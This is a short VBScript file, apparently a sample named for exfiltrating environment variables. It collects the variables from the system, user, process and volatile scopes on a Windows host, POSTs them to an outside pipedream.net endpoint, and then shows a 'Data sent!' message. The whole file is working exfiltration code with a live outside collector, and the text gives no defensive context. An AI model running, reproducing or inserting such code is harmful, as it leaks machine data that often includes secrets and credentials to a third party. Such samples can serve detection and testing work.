doc-vbs-exfiltrating-envvars.vbs

Set objShell = CreateObject("WScript.Shell")
Set httpClient = CreateObject("MSXML2.XMLHTTP")
Dim target
Dim buffer
target = "https://eoahgl4pezvrojk.m.pipedream.net"
buffer = ""
For Each scope In Array("SYSTEM", "USER", "PROCESS", "VOLATILE")
    Set objEnv = objShell.Environment(scope)
    For Each envVarName In objEnv
        buffer = buffer & "[" & scope & "]" & envVarName & "|"
    Next  
Next
httpClient.Open "POST", target, False
httpClient.setRequestHeader "Content-Type", "text/plain"
httpClient.Send buffer
MsgBox "Data sent!", vbInformation , "Status"